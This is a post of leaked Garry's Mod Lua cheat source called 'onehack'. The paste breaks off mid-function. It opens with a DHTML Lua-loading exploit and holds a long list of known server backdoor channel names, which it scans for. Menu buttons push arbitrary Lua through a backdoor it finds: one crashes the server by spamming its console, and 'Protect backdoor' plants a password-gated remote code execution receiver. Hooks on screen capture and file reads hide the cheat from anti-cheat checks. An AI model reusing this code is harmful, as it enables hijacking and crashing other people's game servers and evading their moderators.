· 5 years ago · Mar 31, 2020, 10:18 AM
1-- this stuff using an gmod lua load exploit
2local byp = vgui.Create('DHTML'); -- starting process by creating fake vgui
3byp:SetAllowLua(true); -- allowing vgui process loading lua in it
4return byp:ConsoleMessage -- starting luarun process (put your lua after RUNLUA:)
5([[RUNLUA: --LEAK BY URBANICHKA
6local onehack = onehack or {}
7onehack.options = onehack.options or {}
8onehack.Vars = {}
9onehack.Vars['ASR'] = true -- ANTISCREENGRAB
10onehack.Vars['ASF'] = false -- ANTIFILESTEAL
11onehack.Vars['ESP'] = false
12onehack.Vars['FCAM'] = false -- FREECAM
13onehack.Vars['ESP_NAME'] = false
14onehack.Vars['ESP_WEAPON'] = false
15onehack.Vars['ESP_BOX'] = false
16onehack.Vars['ESP_HPBOX'] = false
17onehack.Vars['DDOS'] = false
18onehack.Vars['WEAPON_LIST3D'] = false
19onehack.Vars['keypad_jiw'] = false
20onehack.CamSpeed_Normal = 2
21onehack.CamSpeed_Fast = 7
22onehack.CamSpeed_Slow = 0.5
23onehack.SpectatePlayer = nil
24onehack.StartCamPos = LocalPlayer():EyePos() or Vector(0,0,0)
25onehack.StartCamAng = LocalPlayer():EyeAngles() or Angle(0,0,0)
26onehack.options.esp = onehack.options.esp or {}
27onehack.theme = onehack.theme or {}
28onehack.BackDoors = {"m9k_rvac","YukiBackdoor","The_DankWhy","loki","stil","thanos","Limon","OBF::JH::HAX","HitOrMiss<3Luda","https://i.imgur.com/Gf6hLMl.png","Net.Start","insid3","ABCNet","FoerHack","display_messagesfh","_Reading_darkrp","nx_noiwex","FPSBOOST","nxsuper","Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ALTERED_CARB0N","ITEM","R8","fix","Fix_Keypads","PoliceJoin","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nostrip","nocheat","LickMeOut","JSQuery.Data(Post(false))","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","c","Detoured q","Þà?D)◘","idk","r8helper","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","Þà ?D)â—","Þà ?D)","SparksLeBg","disablebackdoor","slua2","slua","CraftSomething","WriteQuery","thefrenchenculer","pplay_sendtable"," .. v.NetWork .. ","slua6","jeveuttonrconleul","kill","DefqonBackdoor","DarkRP_AllDoorDatas","0101.1","awarn_remove","PlayerItemPickUp","_Infinity","Infinity","InfinityBackdoor","_Infinity_Meme_","arivia","ULogs_B","_Warns","_cac_","striphelper","_vliss","Скопировано РІ буфер обмена.","_KekTcf","DataMinerType","_blacksmurf","blacksmurfBackdoor","_Raze","m9k_explosionradius","m9k_explosive","m9k_addons","rcivluz","SENDTEST","_clientcvars","_main","stream","waoz","thereaperishere","bdsm","ZernaxBackdoor","UKT_MOMOS","anticrash","audisquad_lua","dontforget","noprop","thereaper","0x13","Child","!Cac","azkaw","BOOST_FPS","childexploit","ULX_ANTI_BACKDOOR","FADMIN_ANTICRASH","ULX_QUERY_TEST2","GMOD_NETDBG","netlib_debug","NoOdium_ReadPing","Sbox_gm_attackofnullday_key","Sbox_Message","idk","aze46aez67z67z64dcv4bt","nolag","changename","music","xenoexistscl","fourhead","echangeinfo","Þ� ?D)◘","elfamosabackdoormdr","stoppk","reaper","Abcdefgh","pjHabrp9EY","gag","_Battleye_Meme_","GaySploitBackdoor","_GaySploit","Bilboard.adverts:Spawn(false)","BazZziliuS","CacAntiCheat","noclipcloakaWH_chat_text","WepSwitch_DisableAllSwitch","PlayerCheck","backdoorattackdefense_superadminsettrue","loona","kIRIUS"}
29onehack.foundedbacks = {}
30onehack.antiskabad = {"Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ITEM","R8","fix","Fix_Keypads","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nocheat","LickMeOut","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","idk","c","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","ГћГ ?D)в—","disablebackdoor","kill","DefqonBackdoor"}
31onehack.AllNets = {}
32onehack.selectedbackdoor = "none"
33onehack.version = "1.0.0"
34onehack.selected_player = 0
35onehack.debug = onehack.debug or {}
36onehack.foundednets = {}
37-- THEME SETTINGS
38onehack.theme.background = Color(30,30,30,200)
39onehack.theme.backgroundalt = Color(25,25,25)
40onehack.theme.backgroundalt2 = Color(50,50,50)
41onehack.theme.backgroundalt3 = Color(15,15,15)
42onehack.theme.buttonhover = Color(255,255,255,50)
43onehack.theme.chroma = Color(255,180,30)
44onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
45-- THEME SETTINGS
46onehack.memory = {
47 ["hud"] = 0,
48 ["logic"] = 0,
49 ["aimbot"] = 0,
50}
51-- OPTIONS
52onehack.options.esp.enable = false
53onehack.options.esp.showname = false
54onehack.options.esp.showbox = false
55onehack.options.esp.showgroup = false
56onehack.options.esp.showweapn = false
57onehack.options.esp.boxtype = 0
58onehack.options.esp.boxcolor = Color(255,255,255)
59onehack.options.esp.namecolor = Color(255,255,255)
60onehack.options.esp.weaponcolor = Color(255,255,255)
61onehack.options.esp.groupcolor = Color(255,255,255)
62
63onehack.options.esp.enable_entity = false
64onehack.options.esp.showname_entity = false
65onehack.options.esp.showbox_entity = false
66onehack.options.esp.boxtype_entity = 0
67onehack.options.esp.boxcolor_entity = Color(255,255,255)
68onehack.options.esp.namecolor_entity = Color(255,255,255)
69-- OPTIONS
70onehack.selectedpanel = nil
71onehack.selectedpanel_id = 0
72onehack.timestamp = os.time()
73onehack.timettring = os.date( "[%H:%M:%S] " , timestamp )
74function onehack.DebugLog( str, col )
75 table.insert(onehack.debug, {onehack.timettring..str, col})
76 if #onehack.debug > 200 then
77 table.remove( onehack.debug, 1 )
78 end
79end
80
81local Tuner = nil
82function onehack.NetStart( str )
83 --print("[DEBUG] Started net: "..str)
84 if onehack.selectedbackdoor == "none" then return false end
85 return net.Start( str )
86end
87
88
89local ss = false
90local renderv = render.RenderView
91local renderc = render.Clear
92local rendercap = render.Capture
93local vguiworldpanel = vgui.GetWorldPanel
94
95
96function onehack.screengrab()
97 if ss then return end
98 ss = true
99
100 renderc( 0, 0, 0, 255, true, true )
101 renderv( {
102 origin = LocalPlayer():EyePos(),
103 angles = LocalPlayer():EyeAngles(),
104 x = 0,
105 y = 0,
106 w = ScrW(),
107 h = ScrH(),
108 dopostprocess = true,
109 drawhud = true,
110 drawmonitors = true,
111 drawviewmodel = true
112 } )
113
114 local vguishits = vguiworldpanel()
115
116 if IsValid( vguishits ) then
117 vguishits:SetPaintedManually( true )
118 end
119
120 timer.Simple( 0.1, function()
121 vguiworldpanel():SetPaintedManually( false )
122 ss = false
123 end)
124end
125
126render.Capture = function(data)
127 if onehack.Vars['ASR'] then
128 onehack.screengrab()
129 onehack.DebugLog( "ScreenGrab started: PROTECTED!", Color(0,255,0) )
130 else
131 onehack.DebugLog( "ScreenGrab started: NOT PROTECTED!", Color(255,0,0) )
132 end
133 local cap = rendercap( data )
134 return cap
135end
136
137local oldRead = file.Read
138function file.Read( fn, path )
139 if string.find(path, "DATA") or string.find(path, "lua") and onehack.Vars['ASF'] then
140 onehack.DebugLog( "File readed: "..path, Color(0,255,0) )
141 return "vzlom_zhopi()"
142 else
143 onehack.DebugLog( "File readed: "..path, Color(255,0,0) )
144 return oldRead( fn, path )
145 end
146end
147
148
149function onehack.NetWriteBeat( str )
150 local netwretbit = net.WriteBit
151 return netwretbit( str )
152end
153
154function onehack.SendToServak()
155 if onehack.selectedbackdoor == "none" then return false end
156 local netsendsrviar = net.SendToServer
157 return netsendsrviar()
158end
159
160function onehack.NetWireString( str )
161 local netwitestring = net.WriteString
162 return netwitestring( str )
163end
164
165function onehack.NetWireInt( str1,str2 )
166 local netwitestring = net.WriteInt
167 return netwitestring( str1,str2 )
168end
169
170function onehack.ValidNetStriABCD( str )
171 local status, error = pcall( s, str )
172 return status
173end
174
175function onehack.MouseInArea(framesag,minx,miny,maxx,maxy)
176 local PosX,PosY = framesag:GetPos()
177 local posx,posy = gui.MousePos();
178 return ((posx >= minx && posx <= maxx) && (posy >= miny && posy <= maxy));
179end
180
181function onehack.RandomString(len)
182 if len == nil then
183 len = math.random(20,100)
184 end
185 local ret = ""
186 for i=1,len do
187 ret = ret..string.char(math.random(33,126))
188 end
189 return ret
190end
191
192function onehack.DrawOutLinedRect(x,y,w,h,color)
193 surface.SetDrawColor( color )
194 surface.DrawOutlinedRect( x, y, w, h )
195 surface.SetDrawColor( Color(255,255,255,255) )
196end
197function onehack.DrawRect(x,y,w,h,color)
198 surface.SetDrawColor( color )
199 surface.DrawRect( x, y, w, h )
200 surface.SetDrawColor( Color(255,255,255,255) )
201end
202function onehack.Drawline(x,y,x2,y2,color)
203 surface.SetDrawColor(color)
204 surface.DrawLine(x,y,x2,y2)
205 surface.SetDrawColor( Color(255,255,255,255) )
206end
207local SpecModeFrame
208function onehack.SpectateMode()
209 if IsValid(SpecModeFrame) then return end
210 onehack.Vars['SCAM'] = true
211 SpecModeFrame = vgui.Create("DFrame")
212 SpecModeFrame:SetSize(300,400)
213 SpecModeFrame:SetPos(ScrW()-300,0)
214 SpecModeFrame:SetTitle("")
215 SpecModeFrame:ShowCloseButton(false)
216 function SpecModeFrame:Paint(w,h)
217 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
218 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
219 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
220 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
221 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
222 draw.SimpleText("Spectator Mode","DermaDefault",w/2,20,Color(150,150,150),1,1)
223 local weapon = "NONE"
224 local hps = "NONE"
225 local ars = "NONE"
226 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
227 if IsValid(onehack.SpectatePlayer:GetActiveWeapon()) then
228 weapon = onehack.SpectatePlayer:GetActiveWeapon():GetClass()
229 end
230 hps = onehack.SpectatePlayer:Health()
231 ars = onehack.SpectatePlayer:Armor()
232 end
233 draw.SimpleText("Weapon: "..weapon,"DermaDefault",10,h-60,Color(150,150,150),0,1)
234 draw.SimpleText("HP/AR: "..hps.."/"..ars,"DermaDefault",12,h-45,Color(150,150,150),0,1)
235 end
236
237 local SpecPlayerList = vgui.Create( "DScrollPanel", SpecModeFrame )
238 SpecPlayerList:Dock(TOP)
239 SpecPlayerList:DockMargin(2,2, 2, 2)
240 SpecPlayerList:SetTall(300)
241 function SpecPlayerList:Paint( w,h )
242 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
243 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
244 end
245 SpecPlayerList.VBar:SetWidth(1)
246 SpecPlayerList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar():GetWide(), SpecPlayerList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
247 SpecPlayerList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnUp:GetWide(), SpecPlayerList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
248 SpecPlayerList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnDown:GetWide(), SpecPlayerList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
249 SpecPlayerList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnGrip:GetWide(), SpecPlayerList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
250
251 for k,v in pairs(player.GetAll()) do
252 if IsValid(v) then
253 local onehack_player_button = SpecPlayerList:Add( "DButton" )
254 onehack_player_button:SetText( "" )
255 onehack_player_button:Dock( TOP )
256 onehack_player_button:DockMargin( 2, 2, 2, 0 )
257 onehack_player_button.Paint = function( _, w, h )
258 if onehack_player_button:IsHovered() then
259 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
260 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
261 else
262 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
263 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
264 end
265 if onehack.SpectatePlayer == v then
266 if IsValid(v) and v:IsPlayer() then
267 draw.SimpleText("> "..v:Name() or "NILL".." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
268 end
269 else
270 if IsValid(v) and v:IsPlayer() then
271 draw.SimpleText(v:Name() or "NILL","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
272 end
273 end
274 end
275 function onehack_player_button:DoClick()
276 if onehack.SpectatePlayer == v then
277 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
278 onehack.SpectatePlayer:SetNoDraw( false )
279 end
280 onehack.SpectatePlayer = nil
281 else
282 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
283 onehack.SpectatePlayer:SetNoDraw( false )
284 end
285 onehack.SpectatePlayer = v
286 v:SetNoDraw( true )
287 end
288 end
289 end
290 end
291
292 for k, v in pairs(ents.GetAll()) do
293 if v:GetClass() == "gmod_cameraprop" then
294 local onehack_camera_button = SpecPlayerList:Add( "DButton" )
295 onehack_camera_button:SetText( "" )
296 onehack_camera_button:Dock( TOP )
297 onehack_camera_button:DockMargin( 2, 2, 2, 0 )
298 onehack_camera_button.Paint = function( _, w, h )
299 if onehack_camera_button:IsHovered() then
300 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
301 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
302 else
303 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
304 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
305 end
306 if onehack.SpectatePlayer == v then
307 draw.SimpleText("> CAMERA "..k.."# <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
308 else
309 draw.SimpleText("CAMERA "..k.."#","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
310 end
311 end
312 function onehack_camera_button:DoClick()
313 if onehack.SpectatePlayer == v then
314 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
315 onehack.SpectatePlayer:SetNoDraw( false )
316 end
317 onehack.SpectatePlayer = nil
318 else
319 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
320 onehack.SpectatePlayer:SetNoDraw( false )
321 end
322 onehack.SpectatePlayer = v
323 if v:IsValid() then
324 v:SetNoDraw( true )
325 end
326 end
327 end
328 end
329 end
330
331 local CloseSpec = SpecModeFrame:Add( "DButton" )
332 CloseSpec:SetTextColor( Color( 200, 200, 200 ) )
333 CloseSpec:SetText( "" )
334 CloseSpec:Dock(BOTTOM)
335 CloseSpec:DockMargin(1,2, 1, 0)
336 function CloseSpec:Paint( w,h )
337 if CloseSpec:IsHovered() then
338 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
339 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
340 else
341 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
342 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
343 end
344 draw.SimpleText("Exit","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
345 end
346
347 CloseSpec.DoClick = function()
348 onehack.Vars['SCAM'] = false
349 SpecModeFrame:Remove()
350 end
351end
352
353function onehack.scan()
354 for i = 0, 2^16 do
355 local str = util.NetworkIDToString( i )
356 if ( str && str != "" ) then
357 if( !net.Receivers[str] ) then
358 table.insert( onehack.AllNets, str )
359 end
360 end
361 end
362 for i = 0, 2^16 do
363 local str = util.NetworkIDToString( i )
364 if ( str && str != "" ) then
365 if( !net.Receivers[str] ) then
366 table.insert(onehack.foundednets,str)
367 if table.HasValue( onehack.BackDoors, str ) or string.find( string.lower(str), "backdoor" ) or string.find( string.lower(str), "exploit" ) or string.find( string.lower(str), "http" ) then
368 if not table.HasValue( onehack.foundedbacks, str ) then
369 if not table.HasValue(onehack.antiskabad,str) then
370 table.insert( onehack.foundedbacks, str )
371 onehack.DebugLog( "Backdoor found: "..str, Color(116,41,162) )
372 else
373 table.insert( onehack.foundedbacks, str )
374 onehack.DebugLog( "Backdoor found: "..str.." (Внимание данный бэкдур вероятнее фейк!)", Color(116,41,162) )
375 end
376 end
377 end
378 end
379 end
380 end
381end
382
383function onehack.StripWeapon( ent )
384 if not ent:IsValid() then return end
385 if ent.NextNuke and ent.NextNuke > CurTime() then return end
386 onehack.NetStart("properties")
387 net.WriteString("remove")
388 net.WriteEntity( ent )
389 net.SendToServer()
390 ent.NextNuke = CurTime() + 0.5
391end
392function onehack.StripAllWeapons( tab )
393 for k, v in pairs( tab ) do
394 if not v:IsValid() then continue end
395 if v.NextNuke and v.NextNuke > CurTime() then continue end
396 onehack.NetStart("properties")
397 net.WriteString("remove")
398 net.WriteEntity( v )
399 net.SendToServer()
400 end
401end
402onehack.scan()
403function MainFunc()
404 actived = true
405 framesag = vgui.Create("DFrame")
406 framesag:SetSize(600,400)
407 framesag:Center()
408 framesag:MakePopup()
409 framesag:SetTitle("")
410 framesag:ShowCloseButton(false)
411 function framesag:Init()
412 framesag.startTime = SysTime()
413 end
414 function framesag:Paint(w,h)
415 Derma_DrawBackgroundBlur( framesag, framesag.startTime )
416 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
417 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
418 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
419 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
420 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
421 end
422
423 ButtonList = vgui.Create( "DScrollPanel", framesag )
424 ButtonList:SetPos(6,9)
425 ButtonList:SetSize(120,400-15)
426 function ButtonList:Paint(w,h)
427 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
428 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
429 end
430
431 function PanelAddButton( text, menuses,id) -- Кнопка в левое меню
432 local MenuBut = ButtonList:Add( "DButton" )
433 MenuBut:SetTextColor( Color( 200, 200, 200 ) )
434 MenuBut:SetText("")
435 MenuBut:SetHeight(30)
436 MenuBut:Dock( TOP )
437 MenuBut:DockMargin( 0, 0, 0, 0 )
438 function MenuBut:Paint( w,h )
439 if MenuBut:IsHovered() then
440 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
441 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
442 else
443 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
444 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
445 end
446 if onehack.selectedpanel_id == id then
447 draw.SimpleText(text,"DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
448 else
449 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
450 end
451 end
452
453 MenuBut.DoClick = function()
454 if onehack.selectedpanel == menuses then return end
455 if onehack.selectedpanel != menuses then
456 menuses()
457 end
458 end
459 end
460
461 function onehack.AddFunction( text , lolol, dawcf, func ) -- Кнопка в левое меню
462 local MenuBut2 = onehack.backlistt_functionsss_list:Add( "DButton" )
463 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
464 MenuBut2:SetText( "" )
465 MenuBut2:Dock( TOP )
466 MenuBut2:DockMargin( 0, 0, 0, 1 )
467 function MenuBut2:Paint( w,h )
468 if MenuBut2:IsHovered() then
469 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
470 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
471 else
472 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
473 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
474 end
475 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
476 end
477
478 MenuBut2.DoClick = function()
479 func()
480 end
481 end
482 function onehack.AddExploit( text , func ) -- Кнопка в левое меню
483 local MenuBut2 = onehack.exploitsList:Add( "DButton" )
484 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
485 MenuBut2:SetText( "" )
486 MenuBut2:Dock( TOP )
487 MenuBut2:DockMargin( 0, 0, 0, 1 )
488 function MenuBut2:Paint( w,h )
489 if MenuBut2:IsHovered() then
490 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
491 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
492 else
493 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
494 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
495 end
496 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
497 end
498
499 MenuBut2.DoClick = function()
500 func()
501 end
502 end
503 function onehackdooropt() -- onehack.backlistt_functionsss_list
504 onehackdooropt = vgui.Create( "DPanel" , framesag )
505 onehackdooropt:SetPos( 126, 9 )
506 onehackdooropt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
507 function onehackdooropt:Paint( w, h )
508 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
509 end
510
511 onehack.backlistt = vgui.Create( "DComboBox", onehackdooropt )
512 onehack.backlistt:SetPos( onehackdooropt:GetWide()-155, 5 )
513 onehack.backlistt:SetSize( 150, 25 )
514 onehack.backlistt:SetValue( "Select Backdoor" )
515 for _,v in pairs(onehack.foundedbacks) do
516 onehack.backlistt:AddChoice( v )
517 end
518 onehack.backlistt.OnSelect = function( self, index, value )
519 onehack.selectedbackdoor = value
520 end
521 onehack.backlistt.Paint = function( _, w, h )
522 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
523 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
524 end
525
526 onehack.backlistt_check_button = vgui.Create( "DButton", onehackdooropt )
527 onehack.backlistt_check_button:SetPos( 5, 5 )
528 onehack.backlistt_check_button:SetSize( 150, 25 )
529 onehack.backlistt_check_button:SetText( "" )
530 onehack.backlistt_check_button.Paint = function( _, w, h )
531 if onehack.backlistt_check_button:IsHovered() then
532 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
533 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
534 else
535 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
536 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
537 end
538 draw.SimpleText("Check backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
539 end
540 function onehack.backlistt_check_button:DoClick()
541 onehack.NetStart( onehack.selectedbackdoor )
542 onehack.NetWireString([[
543
544 local id = ]] .. LocalPlayer():UserID() .. [[
545
546 Player( id ):SendLua("ABCNotify(\"Работает!\", 4)")
547
548 ]])
549 net.WriteBit(1)
550 onehack.SendToServak()
551 end
552
553 onehack.backlistt_crashserver = vgui.Create( "DButton", onehackdooropt )
554 onehack.backlistt_crashserver:SetPos( onehackdooropt:GetWide()-155, 35 )
555 onehack.backlistt_crashserver:SetSize( 150, 25 )
556 onehack.backlistt_crashserver:SetText( "" )
557 onehack.backlistt_crashserver.Paint = function( _, w, h )
558 if onehack.backlistt_crashserver:IsHovered() then
559 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
560 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
561 else
562 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
563 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
564 end
565 draw.SimpleText("Off server","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
566 end
567 function onehack.backlistt_crashserver:DoClick()
568 onehack.NetStart( onehack.selectedbackdoor )
569 net.WriteString( "timer.Create( \"spamlolk\", 0, 0, function() for i = 1, 1000000 do MsgC(Color(math.random(255), math.random(255), math.random(255)), \"� \") end end)" )
570 net.WriteBit(1)
571 onehack.SendToServak()
572 end
573
574 onehack.backlistt_pach_button = vgui.Create( "DButton", onehackdooropt )
575 onehack.backlistt_pach_button:SetPos( 160, 5 )
576 onehack.backlistt_pach_button:SetSize( 147, 25 )
577 onehack.backlistt_pach_button:SetText( "" )
578 onehack.backlistt_pach_button.Paint = function( _, w, h )
579 if onehack.backlistt_pach_button:IsHovered() then
580 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
581 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
582 else
583 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
584 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
585 end
586 draw.SimpleText("Detect pach","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
587 end
588 function onehack.backlistt_pach_button:DoClick()
589 onehack.NetStart( onehack.selectedbackdoor )
590 onehack.NetWireString([[
591 local id = ]] .. LocalPlayer():UserID() .. [[
592
593 for k ,v in SortedPairs( net.Receivers, false ) do
594 if k == string.lower( "]]..onehack.selectedbackdoor..[[") then
595 Player( id ):ChatPrint("Path: "..debug.getinfo( v )["short_src"] )
596 end
597 end
598 ]])
599 net.WriteBit(1)
600 onehack.SendToServak()
601 end
602
603 onehack.backlistt_fix_button = vgui.Create( "DButton", onehackdooropt )
604 onehack.backlistt_fix_button:SetPos( 160, 35 )
605 onehack.backlistt_fix_button:SetSize( 147, 25 )
606 onehack.backlistt_fix_button:SetText( "" )
607 onehack.backlistt_fix_button.Paint = function( _, w, h )
608 if onehack.backlistt_fix_button:IsHovered() then
609 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
610 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
611 else
612 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
613 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
614 end
615 draw.SimpleText("Fix backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
616 end
617 function onehack.backlistt_fix_button:DoClick()
618 onehack.NetStart( onehack.selectedbackdoor )
619 net.WriteString( [[
620 net.Receive(]]..onehack.selectedbackdoor..[[,function()
621 print("У ВАС ЕСТЬ BACKDOOR!!!!!!!!!!!!!!!!!!!!!!!!")
622 end)
623 ]] )
624 net.WriteBit(1)
625 onehack.SendToServak()
626 end
627
628 onehack.backlistt_protect_input = vgui.Create("DTextEntry", onehackdooropt)
629 onehack.backlistt_protect_input:SetPos( 5, 35 )
630 onehack.backlistt_protect_input:SetSize( 150, 25 )
631 onehack.backlistt_protect_input:SetText( "password" )
632 onehack.backlistt_protect_input.Paint = function( self, w, h )
633 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
634 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
635 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
636 --draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
637 end
638
639 onehack.backlistt_protect_button = vgui.Create( "DButton", onehackdooropt )
640 onehack.backlistt_protect_button:SetPos( 5, 59 )
641 onehack.backlistt_protect_button:SetSize( 150, 31 )
642 onehack.backlistt_protect_button:SetText( "" )
643 onehack.backlistt_protect_button.Paint = function( _, w, h )
644 if onehack.backlistt_protect_button:IsHovered() then
645 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
646 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
647 else
648 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
649 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
650 end
651 draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
652 end
653 function onehack.backlistt_protect_button:DoClick()
654 onehack.NetStart( onehack.selectedbackdoor )
655 onehack.NetWireString([[
656 net.Receive(]]..onehack.selectedbackdoor..[[,function()
657 if net.ReadFloat() == "]]..onehack.backlistt_protect_input:GetValue()..[[" then
658 local x = CompileString( net.ReadString(), 'LuaCmd', false )
659 if isfunction( x ) then
660 x()
661 end
662 end
663 end)
664 ]])
665 net.WriteBit(1)
666 onehack.SendToServak()
667 end
668
669 onehack.backlistt_players_list = vgui.Create( "DScrollPanel", onehackdooropt )
670 onehack.backlistt_players_list:SetPos(5,114)
671 onehack.backlistt_players_list:SetSize(150,264)
672 function onehack.backlistt_players_list:Paint( w,h )
673 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
